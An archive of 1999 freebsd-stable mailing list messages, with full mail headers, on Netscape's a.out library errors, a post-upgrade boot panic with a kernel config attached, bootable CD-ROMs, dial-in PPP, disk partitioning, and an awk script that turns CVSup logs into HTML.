owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article you write: >On 05-Oct-99 Anand Ranganathan wrote: >> I installed the netscape46-navigator port. I get the following error >> when I try to start it: >> 123 wooster:~> /usr/local/bin/netscape >> /usr/libexec/ld.so: warning: /usr/X11R6/lib/libXt.so.6: minor version -1 >> older than expected 0, using it anyway >> ld.so failed: bad magic number in "/usr/X11R6/lib/libXt.so.6" >> 124 wooster:~> > >The netscape port needs to use the aout version of libXt.so.6 - which is in >/usr/X11R6/lib/aout/libXt.so.6. How to get it to do that, I don't know. Sorry. Just make sure you have the right ldconfig_paths_aout in rc.conf (the default in /etc/defaults/rc.conf is usually ok), you can check with `ldconfig -aout -r | grep libXt.so', it should find it in /usr/X11R6/lib/aout. If aout executables then still try to link elf libs you probably have LD_LIBRARY_PATH set, that overrides the ldconfig settings regardless of the executables binary format... (btw i just noticed there seems to be a manpage for ld.so but none for ld-elf.so?) HTH, -- Juergen Lock (remove dot foo from address to reply) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 18:47:13 1999 Delivered-To: freebsd-stable@freebsd.org Received: from smtp.mail.yahoo.com (smtp.mail.yahoo.com [128.11.68.32]) by hub.freebsd.org (Postfix) with SMTP id 23C3415089 for ; Wed, 6 Oct 1999 18:47:06 -0700 (PDT) (envelope-from kenwills@yahoo.com) Received: from 1cust58.tnt1.madison.wi.da.uu.net (HELO spanky.yaberk.int) (63.20.241.58) by smtp.mail.yahoo.com with SMTP; 6 Oct 1999 18:52:10 -0700 Date: Wed, 6 Oct 1999 20:35:51 -0500 (CDT) From: Ken Wills Reply-To: kenwills@yahoo.com To: Will Andrews Cc: Anand Ranganathan , freebsd-stable@freebsd.org Subject: RE: netscape on 3.3-RELEASE In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 5 Oct 1999, Will Andrews wrote: > On 05-Oct-99 Anand Ranganathan wrote: > > I installed the netscape46-navigator port. I get the following error > > when I try to start it: > > 123 wooster:~> /usr/local/bin/netscape > > /usr/libexec/ld.so: warning: /usr/X11R6/lib/libXt.so.6: minor version -1 > > older than expected 0, using it anyway > > ld.so failed: bad magic number in "/usr/X11R6/lib/libXt.so.6" > > 124 wooster:~> > > The netscape port needs to use the aout version of libXt.so.6 - which is in > /usr/X11R6/lib/aout/libXt.so.6. How to get it to do that, I don't know. Sorry. > You need X built with aout support (the port asks if you want it) and the prebuilt -RELEASE version ships (AFAIK) with it. You'll probably need to recompile X from ports and answer 'Yes' at the relevant point.... One alternative is to install linux_base (in ports) and run linux netscape. You'll probably run in to this elsewhere before too long though, so I'd recommend rebuilding X. There may be compatability libs that contain these files somewhere, you could check into that also. Ken __________________________________________________ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 18:50:59 1999 Delivered-To: freebsd-stable@freebsd.org Received: from peloton.runet.edu (peloton.runet.edu [137.45.96.205]) by hub.freebsd.org (Postfix) with ESMTP id 0FFE715158 for ; Wed, 6 Oct 1999 18:49:44 -0700 (PDT) (envelope-from brett@peloton.runet.edu) Received: from localhost (brett@localhost) by peloton.runet.edu (8.9.3/8.9.3) with ESMTP id VAA06879; Wed, 6 Oct 1999 21:49:28 -0400 (EDT) (envelope-from brett@peloton.runet.edu) Date: Wed, 6 Oct 1999 21:49:28 -0400 (EDT) From: Brett Taylor To: Doug White Cc: Guseyn Ismaylov , stable@FreeBSD.ORG Subject: Re: Netscape 4.6 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi On Wed, 6 Oct 1999, Doug White wrote: [can't find ld.so] > Can this be FAQ'd? It is - it's in the release notes too for every 3.* release (except maybe 3.0 and 3.1 - not sure as I haven't checked). http://www.freebsd.org/FAQ/applications.html#AEN1471 Brett ***************************************************** Dr. Brett Taylor brett@peloton.runet.edu * Dept of Chem and Physics * Curie 39A (540) 831-6147 * Dept. of Mathematics and Statistics * Walker 234 (540) 831-5410 * ***************************************************** To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 22:40:15 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mta3.tm.net.my (mta3.tm.net.my [202.188.95.6]) by hub.freebsd.org (Postfix) with ESMTP id E967F14C33 for ; Wed, 6 Oct 1999 22:36:54 -0700 (PDT) (envelope-from penjejak@tm.net.my) Received: from opal ([203.106.62.10]) by mta3.tm.net.my (InterMail v03.02.05 118 121 101) with SMTP id <19991006124130.NHR10161@opal> for ; Wed, 6 Oct 1999 20:41:30 +0800 Message-ID: <000b01bf0ff9$9c9be900$db62640a@cyber.mmu.edu.my> From: "Nawfal M. Rouyan" To: "FreeBSD 3.2 STABLE" Subject: Help! FreeBSD can't boot into FreeBSD Date: Wed, 6 Oct 1999 20:51:55 +0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0005_01BF103C.9FAF2100" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0005_01BF103C.9FAF2100 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0006_01BF103C.9FAF2100" ------=_NextPart_001_0006_01BF103C.9FAF2100 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi,=20 thanks to those who answered my questions before. I cvsuped today and = make world soon after I boot to single user. While making the world, I = noticed that there were signal 4 core dumps while building libraries=20 I think the statements are something like this...=20 Illegal instruction.... (nm) .... signal 4 core cumped)=20 Can't check the /var/tmp/mwout file since I can't boot into FreeBSD... = But the make world process managed to finish successfully. Then, I make a new sysinstall but the process stopped. Again signal 4 = core dumped but this time the statement is something like this... Illegal instruction ... cpp(1) ... signal 4 core dumped... After that I install a new kernel and reboot... Below is the message that I got Verifying DMI Pool Data _ BTX Loader 1.00 BTX version is 1.01 Console:internal video/keyboard panic:zfree(0x1cb04,4096):wild pointer I use osbs beta to boot between Win98 and FreeBSD. My computer is AMD K62 300MHz,=20 VA 503+ motherboard Maxtor hd (4G) -- for FreeBSD (secondary master) Quantum Fireball CR (4G) -- for Win98 The original FreeBSD is installed from ftp (FreeBSD-STABLE) from the = primary site. It is the second installation from ftp site since the first installation = also can't boot after I make a new kernel... (kernel trap after the npx = statement) The signal 4 core dumped happened frequently since I make world to = FreeBSD 3.3 Stable from FreeBSD 3.2 Stable. During 3.2 Stable, the = FreeBSD works great without any problems. I have already low level formated my hd before my second ftp = installation using maxtor's hd utility program to check whether I have a = faulty hd. The hd passed all tests. Attached is a copy of my kernel configuration file which I saved in my = Win98 partition. (I've edited it to make it smaller...;) Any hints on what I should do to boot into FreeBSD? (I don't use Win98, = my family use it...;) I do installed gcc 2.9.1, does this has anything to do with my problem?? thanks in advance... ------=_NextPart_001_0006_01BF103C.9FAF2100 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi,
   thanks to those = who answered my=20 questions before. I cvsuped today and make world soon after I boot to = single=20 user. While making the world, I noticed that there were signal 4 = core dumps=20 while building libraries
I think the statements are = something like=20 this...
Illegal instruction.... (nm) .... = signal 4 core=20 cumped)
Can't check the /var/tmp/mwout file = since I can't=20 boot into FreeBSD... But the make world process managed to finish=20 successfully.
   Then, I make a new = sysinstall but the=20 process stopped. Again signal 4 core dumped but this time the statement = is=20 something like this...
Illegal instruction ... cpp(1) ... = signal 4=20 core dumped...
   After that I install a new = kernel and=20 reboot...
Below is the message that I = got
 
Verifying DMI Pool Data
_
BTX Loader 1.00 BTX version is = 1.01
Console:internal = video/keyboard
panic:zfree(0x1cb04,4096):wild = pointer
 
I use osbs beta to boot between Win98 = and=20 FreeBSD.
My computer is
    AMD K62 300MHz, =
    VA 503+ = motherboard
    Maxtor hd (4G) -- = for FreeBSD=20 (secondary master)
    Quantum = Fireball CR (4G) --=20 for Win98
The original FreeBSD is installed = from ftp=20 (FreeBSD-STABLE) from the primary site.
It is the second installation from ftp = site since=20 the first installation also can't boot after I make a new kernel... = (kernel trap=20 after the npx statement)
The signal 4 core dumped happened = frequently since=20 I make world to FreeBSD 3.3 Stable from FreeBSD 3.2 Stable. During 3.2 = Stable,=20 the FreeBSD works great without any problems.
I have already low level formated my hd = before my=20 second ftp installation using maxtor's hd utility program to check = whether I=20 have a faulty hd. The hd passed all tests.
Attached is a copy of my kernel = configuration file=20 which I saved in my Win98 partition. (I've edited it to make it=20 smaller...;)
Any hints on what I should do to boot = into FreeBSD?=20 (I don't use Win98, my family use it...;)
I do installed gcc 2.9.1, does this has = anything to=20 do with my problem??
thanks in = advance...
------=_NextPart_001_0006_01BF103C.9FAF2100-- ------=_NextPart_000_0005_01BF103C.9FAF2100 Content-Type: application/octet-stream; name="Opal" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="Opal" machine "i386" cpu "I586_CPU" ident OPAL maxusers 64 options INET #InterNETworking options FFS #Berkeley Fast Filesystem options FFS_ROOT #FFS usable as root device [keep this!] options MFS #Memory Filesystem options MFS_ROOT #MFS usable as root device, "MFS" req'ed options NFS #Network Filesystem options NFS_ROOT #NFS usable as root device, "NFS" req'ed options MSDOSFS #MSDOS Filesystem options "CD9660" #ISO 9660 Filesystem options "CD9660_ROOT" #CD-ROM usable as root. "CD9660" req'ed options PROCFS #Process filesystem options "COMPAT_43" #Compatible with BSD 4.3 [KEEP THIS!] options UCONSOLE #Allow users to grab the console options FAILSAFE #Be conservative options USERCONFIG #boot -c editor options VISUAL_USERCONFIG #visual boot -c editor options "P1003_1B" options "_KPOSIX_PRIORITY_SCHEDULING" options "_KPOSIX_VERSION=199309L" config kernel root on wd0 controller isa0 controller pnp0 controller pci0 controller fdc0 at isa? port "IO_FD1" bio irq 6 drq 2 disk fd0 at fdc0 drive 0 options "CMD640" # work around CMD640 chip deficiency controller wdc0 at isa? port "IO_WD1" bio irq 14 disk wd0 at wdc0 drive 0 controller wdc1 at isa? port "IO_WD2" bio irq 15 disk wd2 at wdc1 drive 0 options ATAPI #Enable ATAPI support for IDE bus options ATAPI_STATIC #Don't do it as an LKM device acd0 #IDE CD-ROM # atkbdc0 controlls both the keyboard and the PS/2 mouse controller atkbdc0 at isa? port IO_KBD tty device atkbd0 at isa? tty irq 1 device vga0 at isa? port ? conflicts # splash screen/screen saver pseudo-device splash # syscons is the default console driver, resembling an SCO console device sc0 at isa? tty device npx0 at isa? port IO_NPX irq 13 # # Laptop support (see LINT for more options) # device apm0 at isa? disable flags 0x31 # Advanced Power Management device sio0 at isa? port "IO_COM1" flags 0x10 tty irq 4 device sio1 at isa? port "IO_COM2" tty irq 3 device sio2 at isa? disable port "IO_COM3" tty irq 5 device sio3 at isa? disable port "IO_COM4" tty irq 9 # Parallel port device ppc0 at isa? port? flags 0x40 net irq 7 controller ppbus0 device lpt0 at ppbus? device plip0 at ppbus? device ppi0 at ppbus? controller vpo0 at ppbus? device ed0 at isa? port 0x280 net irq 10 iomem 0xd8000 pseudo-device loop pseudo-device ether pseudo-device tun 1 pseudo-device pty 16 pseudo-device gzip # Exec gzipped a.out's # KTRACE enables the system-call tracing facility ktrace(2). # This adds 4 KB bloat to your kernel, and slightly increases # the costs of each syscall. options KTRACE #kernel tracing # This provides support for System V shared memory and message queues. # options USER_LDT options SYSVSHM options SYSVMSG options SYSVSEM #Stuff for my k6 CPU options "NO_F00F_HACK" options CPU_WT_ALLOC #some k6 optimization options NO_MEMORY_HOLE # The `bpfilter' pseudo-device enables the Berkeley Packet Filter. Be # aware of the legal and administrative consequences of enabling this # option. The number of devices determines the maximum number of # simultaneous BPF clients programs runnable. pseudo-device bpfilter 1 #Berkeley packet filter device pcm0 ------=_NextPart_000_0005_01BF103C.9FAF2100-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 23:54:43 1999 Delivered-To: freebsd-stable@freebsd.org Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.144.32]) by hub.freebsd.org (Postfix) with ESMTP id E411F14FC4 for ; Wed, 6 Oct 1999 23:54:36 -0700 (PDT) (envelope-from dwhite@resnet.uoregon.edu) Received: from localhost (dwhite@localhost) by resnet.uoregon.edu (8.9.3/8.9.3) with ESMTP id XAA35027; Wed, 6 Oct 1999 23:54:14 -0700 (PDT) (envelope-from dwhite@resnet.uoregon.edu) Date: Wed, 6 Oct 1999 23:54:13 -0700 (PDT) From: Doug White To: Brett Taylor Cc: Guseyn Ismaylov , stable@FreeBSD.ORG Subject: Re: Netscape 4.6 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 6 Oct 1999, Brett Taylor wrote: > On Wed, 6 Oct 1999, Doug White wrote: > > [can't find ld.so] > > > Can this be FAQ'd? > > It is - it's in the release notes too for every 3.* release (except maybe > 3.0 and 3.1 - not sure as I haven't checked). > > http://www.freebsd.org/FAQ/applications.html#AEN1471 Cool. Thanks! Doug White | FreeBSD: The Power to Serve dwhite@resnet.uoregon.edu | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 8: 7:36 1999 Delivered-To: freebsd-stable@freebsd.org Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by hub.freebsd.org (Postfix) with ESMTP id 8B63D1514F for ; Thu, 7 Oct 1999 08:07:17 -0700 (PDT) (envelope-from talon@lpthe.jussieu.fr) Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.9.3/jtpda-5.3.2) with ESMTP id RAA71203 for ; Thu, 7 Oct 1999 17:06:01 +0200 (CEST) Received: from niobe.lpthe.jussieu.fr (niobe.lpthe.jussieu.fr [134.157.10.41]) by parthe.lpthe.jussieu.fr (8.9.1a/jtpda-5.3.1) with ESMTP id RAA05066 for ; Thu, 7 Oct 1999 17:06:00 +0200 (MET DST) From: talon@lpthe.jussieu.fr (Michel TALON) Received: from (talon@localhost) by niobe.lpthe.jussieu.fr (8.9.3/jtpda-5.3.1) id RAA78790 for freebsd-stable@freebsd.org; Thu, 7 Oct 1999 17:06:00 +0200 (CEST) Message-Id: <199910071506.RAA78790@niobe.lpthe.jussieu.fr> Subject: Bootable cdrom To: freebsd-stable@freebsd.org Date: Thu, 7 Oct 1999 17:06:00 +0200 (CEST) Lab: L.P.T.H.E. Universite Paris VI, Tour 16, 1 etage PARIS 75005 Tel: (33) 1 44 27 73 98 Fax: (33) 1 44 27 70 88 X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, i would like to make a bootable cdrom with freebsd 3.3, but am stuck with the following problem. Normally on does mkisofs -b floppies/boot.flp but now there are two floppies (boot and root) so how can one proceed? Perhaps make a custom kernel with room for mfs and stuff the root filesystem in it like in PicoBSD, or is there a more straightforward solution? Thanks -- Michel TALON To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 8:13:14 1999 Delivered-To: freebsd-stable@freebsd.org Received: from shadowmere.student.utwente.nl (wit401305.student.utwente.nl [130.89.236.145]) by hub.freebsd.org (Postfix) with ESMTP id 53E5A1514F for ; Thu, 7 Oct 1999 08:13:11 -0700 (PDT) (envelope-from daeron@Wit401305.student.utwente.nl) Received: by shadowmere.student.utwente.nl (Postfix, from userid 1001) id 0A2C6195; Thu, 7 Oct 1999 17:12:30 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by shadowmere.student.utwente.nl (Postfix) with ESMTP id 015E512F; Thu, 7 Oct 1999 17:12:29 +0200 (CEST) Date: Thu, 7 Oct 1999 17:12:29 +0200 (CEST) From: Pascal Hofstee To: Michel TALON Cc: freebsd-stable@freebsd.org Subject: Re: Bootable cdrom In-Reply-To: <199910071506.RAA78790@niobe.lpthe.jussieu.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 7 Oct 1999, Michel TALON wrote: > Hello, > > i would like to make a bootable cdrom with freebsd 3.3, but am stuck > with the following problem. Normally on does mkisofs -b floppies/boot.flp > but now there are two floppies (boot and root) so how can one proceed? > Perhaps make a custom kernel with room for mfs and stuff the root > filesystem in it like in PicoBSD, or is there a more straightforward > solution? For normal floppy-disks one uses two images. kern.flp and mfsroot.flp For devices that have a capacioty of 2.88MB and up there is boot.flp which combines kern.flp and mfsroot.flp into one .. suitable for CDROMs, ZIP-disks etc... -------------------- Pascal Hofstee - daeron@shadowmere.student.utwente.nl -----BEGIN GEEK CODE BLOCK----- Version: 3.1 GCS d- s+: a-- C++ UB++++ P+ L- E--- W- N+ o? K- w--- O? M V? PS+ PE Y-- PGP-- t+ 5 X-- R tv+ b+ DI D- G e* h+ r- y+ ------END GEEK CODE BLOCK------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 8:20: 4 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mark.kingsu.ab.ca (mark.kingsu.ab.ca [199.185.113.37]) by hub.freebsd.org (Postfix) with ESMTP id DD8F31514F for ; Thu, 7 Oct 1999 08:20:02 -0700 (PDT) (envelope-from bwood@KingsU.ab.ca) Received: from KingsU.ab.ca (kingsnet.kingsu.ab.ca [199.185.113.33]) by mark.kingsu.ab.ca (8.9.3/8.9.2) with ESMTP id JAA04233 for ; Thu, 7 Oct 1999 09:18:40 -0600 (MDT) (envelope-from bwood@KingsU.ab.ca) Message-Id: <199910071518.JAA04233@mark.kingsu.ab.ca> Received: from KINGSNET/SpoolDir by KingsU.ab.ca (Mercury 1.44); 7 Oct 99 09:18:46 -0700 Received: from SpoolDir by KINGSNET (Mercury 1.44); 7 Oct 99 09:18:40 -0700 From: "Broderick Wood" Organization: The King's University College To: freebsd-stable@FreeBSD.ORG Date: Thu, 7 Oct 1999 09:18:34 -0600 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Dial-In Reference X-mailer: Pegasus Mail for Win32 (v3.12a) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am looking for references to setting up a Dial-In connection on my FreeBSD 3.3-Stable box. It's got a 56K modem that's recognized as well as a functioning NIC with IP. I can assign an IP to the modem if I need to, but basically just need to be able to dial-in and get IP level access with the FreeBSD being the Gateway. Any good web resources i should look at? I've got "The Complete FreeBSD" reference book on order... --------------------------- -BMW- To soar like an eagle, fly like a dove. (bwood@kingsu.ab.ca) Broderick Wood, Director of Information Technology Services The King's University College 9125 - 50 Street Edmonton, Alberta T6B 2H3 (780) 465-8315 (780) 465-3534 (FAX) ><> <>< To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 8:41:49 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mercury.gfit.net (ns.gfit.net [209.41.124.90]) by hub.freebsd.org (Postfix) with ESMTP id 6496715178 for ; Thu, 7 Oct 1999 08:41:34 -0700 (PDT) (envelope-from tom@embt.com) Received: from paranor.embt.net (timembt.iinc.com [206.67.169.229]) by mercury.gfit.net (8.8.8/8.8.8) with SMTP id KAA07854 for ; Thu, 7 Oct 1999 10:45:50 -0500 (CDT) (envelope-from tom@embt.com) Message-Id: <3.0.3.32.19991007114127.009aeca0@mail.embt.com> X-Sender: tembt@mail.embt.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Thu, 07 Oct 1999 11:41:27 -0400 To: freebsd-stable@freebsd.org From: Tom Embt Subject: Re: disk partitions In-Reply-To: <14331.51069.769962.724682@freed.dyn.ez-ip.net> References: <199910052325.QAA01404@chad.anasazi.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 06:04 PM 10/6/99 -0400, you wrote: > >[good point, snipped] > >Isn't there something about FAT** partitions having to be in the first >sectors of the disk? > >I seem to remember that putting Win** anywhere else than at the first >cylinder was bad, I don't remember why. > >Anyways... > >Ants. > If ever there was such a requirement, it is no longer applicable. Some (all?) off the various incantations of Windows need to boot < 1024 cyl boundary (usually 8 GB), but they are happy in any slice. IIRC, they do have problems booting to anything other than primary master for IDE. FWIW, BSL (http://bsl.comart.com.pl) is a very capable boot manager. It is cardware/shareware depending in how much functionality you want. Tom Embt tom@embt.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 8:42:44 1999 Delivered-To: freebsd-stable@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id 4204115042 for ; Thu, 7 Oct 1999 08:42:40 -0700 (PDT) (envelope-from mwlucas@blackhelicopters.org) Received: (from mwlucas@localhost) by blackhelicopters.org (8.9.3/8.9.3) id LAA24475; Thu, 7 Oct 1999 11:42:39 -0400 (EDT) (envelope-from mwlucas) From: Michael Lucas Message-Id: <199910071542.LAA24475@blackhelicopters.org> Subject: Re: Dial-In Reference In-Reply-To: <199910071518.JAA04233@mark.kingsu.ab.ca> from Broderick Wood at "Oct 7, 1999 9:18:34 am" To: bwood@KingsU.ab.ca (Broderick Wood) Date: Thu, 7 Oct 1999 11:42:39 -0400 (EDT) Cc: freebsd-stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, Take a look at the FreeBSD handbook, on the website or in /usr/share/doc/handbook if you installed the docs distrib. You'll find something called the "Pendantic PPP Primer." That's where you want to start. This sort of general question is probably better asked over in freebsd-questions. ==ml > I am looking for references to setting up a Dial-In connection on my > FreeBSD 3.3-Stable box. It's got a 56K modem that's recognized as > well as a functioning NIC with IP. I can assign an IP to the modem if I > need to, but basically just need to be able to dial-in and get IP level > access with the FreeBSD being the Gateway. > Any good web resources i should look at? I've got "The Complete > FreeBSD" reference book on order... > > > > --------------------------- > -BMW- > > To soar like an eagle, > fly like a dove. > > (bwood@kingsu.ab.ca) > Broderick Wood, > Director of Information Technology Services > The King's University College > 9125 - 50 Street > Edmonton, Alberta > T6B 2H3 > (780) 465-8315 > (780) 465-3534 (FAX) > > ><> <>< > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 8:48:47 1999 Delivered-To: freebsd-stable@freebsd.org Received: from ady.warpnet.ro (ady.warpnet.ro [194.102.224.1]) by hub.freebsd.org (Postfix) with ESMTP id BA7621522E; Thu, 7 Oct 1999 08:48:20 -0700 (PDT) (envelope-from ady@warpnet.ro) Received: from localhost (ady@localhost) by ady.warpnet.ro (8.9.3/8.9.3) with ESMTP id SAA16602; Thu, 7 Oct 1999 18:47:48 +0300 (EEST) (envelope-from ady@warpnet.ro) Date: Thu, 7 Oct 1999 18:47:47 +0300 (EEST) From: Adrian Penisoara To: Matthew Dillon Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: [Patches avail?] Re: MMAP() in STABLE/CURRENT ... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi again, On Wed, 6 Oct 1999, Adrian Penisoara wrote: > hi again, > > On Tue, 5 Oct 1999, Matthew Dillon wrote: > > > : The problem is that the machine is completely locked, I can't get into > > :the debugger with CTR-ALT-ESC; no panics so there are no coredumps > > :catched. Any advise ? Could you escape in the debugger when you were hit > > :by these bugs ? > > > > If it's completely locked up and ctl-alt-esc doesn't work (and normally > > does work - try it on a working system to make sure that you've compiled > > in the appropriate DDB options), and you aren't in an X display > > (ctl-alt-esc isn't useful when done from an X display)... then your > > lockup problem is unrelated to mmap. > > No X on the machine, but CTRL-ALT-ESC doesn't work. > And another thing: I tried the MMAP "exploit"/test that has been floating > around at that time on another 3.2-STABLE machine SMP with 2 Pentiums and > it does lock the machine but you can switch consoles and escape to the > debugger; on the production server (K6-2 300) everything goes dead when > it happens (I haven't tried the MMAP test)... > > You're probably right, it's not the MMAP bug; but it's not faulty > hardware -- I'll have an undeniable proof in a few days, I have downgraded > to 3.1-STABLE as of 20th April... > Whoops: a few hours after downgrading to 3.1-STABLE I had a double fault error (strange, it didn't look like a normal panic screen, just the message and the content of three registers, then the syncing disks message). It seems that I might be wrong about hardware not being the problem. I've changed the motherboard, CPU, memory and the video card and I'm waiting to see how much it's going to stay up (I have 1day 1hour uptime so far)... Thanks, Ady (@warpnet.ro) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 9:23:13 1999 Delivered-To: freebsd-stable@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id C866815074 for ; Thu, 7 Oct 1999 09:22:58 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id JAA00437; Thu, 7 Oct 1999 09:21:18 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id JAA47057; Thu, 7 Oct 1999 09:21:17 -0700 (PDT) (envelope-from jdp@polstra.com) Date: Thu, 7 Oct 1999 09:21:17 -0700 (PDT) Message-Id: <199910071621.JAA47057@vashon.polstra.com> To: Martin@McFlySr.Kurgan.Ru Subject: Seeing log messages associated with CVSup updates In-Reply-To: <13641.991004@McFlySr.Kurgan.Ru> References: <13641.991004@McFlySr.Kurgan.Ru> Organization: Polstra & Co., Seattle, WA Cc: stable@freebsd.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <13641.991004@McFlySr.Kurgan.Ru>, Martin McFlySr wrote: > Hello freebsd-stable@FreeBSD.ORG, > > 1. How can i see what namely was changed in files after CVSup is done? > I can seen at log CVSup, but can see only what files was changed: > > Edit src/share/man/man5/rc.conf.5 > Add delta 1.27.2.17 99.10.02.10.21.36 des > Add delta 1.27.2.18 99.10.02.21.41.35 des Here is a really clever awk script that was written by Dom Mitchell . It converts your CVSup log output into an html page that you can display in your web browser. Each "Edit" or "Checkout" line becomes a link to the cvsweb page for the file. This script will be in the contrib section of the next release of CVSup. John #!/usr/bin/awk -f # # Convert a CVSup logfile to HTML. Note that this script requires nawk # or better (gawk will do, and is the default on FreeBSD. # # @(#) $Id: cvsup2html.awk,v 1.3 1999/02/22 11:04:40 dom Exp $ # BEGIN { url="http://www.freebsd.org/cgi-bin/cvsweb.cgi" print "
"
}
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	file=$2
	$2 = "" $2 ""
	print " " $1, $2
	next
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	print "
" } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 10: 7:24 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mail.scc.nl (node1374.a2000.nl [62.108.19.116]) by hub.freebsd.org (Postfix) with ESMTP id A14E314F13 for ; Thu, 7 Oct 1999 10:07:16 -0700 (PDT) (envelope-from freebsd-stable@scc.nl) Received: (from daemon@localhost) by mail.scc.nl (8.9.3/8.9.3) id SAA54564 for stable@FreeBSD.org; Thu, 7 Oct 1999 18:57:04 +0200 (CEST) (envelope-from freebsd-stable@scc.nl) Received: from GATEWAY by dwarf.hq.scc.nl with netnews for stable@FreeBSD.org (stable@FreeBSD.org) To: stable@FreeBSD.org Date: Thu, 07 Oct 1999 18:56:57 +0200 From: Marcel Moolenaar Message-ID: <37FCD0D9.223A3653@scc.nl> Organization: SCC vof Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit References: <13641.991004@McFlySr.Kurgan.Ru>, <199910071621.JAA47057@vashon.polstra.com> Subject: Re: Seeing log messages associated with CVSup updates Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG John Polstra wrote: > > Here is a really clever awk script that was written by Dom Mitchell > . It converts your CVSup log output > into an html page that you can display in your web browser. Each > "Edit" or "Checkout" line becomes a link to the cvsweb page for the > file. 